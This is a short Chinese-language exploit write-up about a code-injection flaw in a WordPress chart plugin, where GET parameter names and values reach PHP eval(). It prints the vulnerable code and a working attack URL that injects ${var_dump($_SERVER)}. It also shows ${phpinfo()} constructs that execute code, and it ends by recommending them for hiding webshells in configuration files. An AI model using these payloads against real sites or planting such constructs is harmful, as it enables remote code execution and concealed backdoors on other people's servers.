漏洞分析和利用在这里。
漏 洞 代 码:
<?php
require("../lib/phpchart.class.php");
$color_var=array("txt_col","line_col","bg_color");
$cname=$_GET["type"];
$chart=new PHPChart($cname);
foreach($_GET as $key=>$value)
{
if($value!="")
{
if(in_array($key,$color_var))
eval('$chart->'.$key.'="#'.$value.'";');
else if($value=='yes')
eval('$chart->'.$key.'=true;');
else if($value=='no')
eval('$chart->'.$key.'=false;');
else if(is_numeric($value))
eval('$chart->'.$key.'='.$value.';');
else
eval('$chart->'.$key."='".$value."';");
}
}
$chart->genChart();
分析的话没什么好看的,直接看利用吧。/wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY。这样带进去的话就是:eval(‘$chart->${var_dump($_SERVER)}= \’ IZABEKAILOVEYOUBABY\’;’),因为对象没有这个属性会报错,但是var_dump($_SERVER)确是可以执行的。下面来个小实验:
<?php
class Cart {
var $item;
function get_item() {
echo $this->item;
}
}
$cart = new Cart();
$cart->${phpinfo()} = 'zhizi';
当然这个phpinfo()还是会执行的。具体原理应该和php的类实现机制有关,但是php内部机制不太懂,也请懂的指点下。类似的还有:
S = "{${@phpinfo()}}"
$arr = array(
'a'=>"b",
'c'=>${@phpinfo()}
);
这些在配置文件中写马很有用。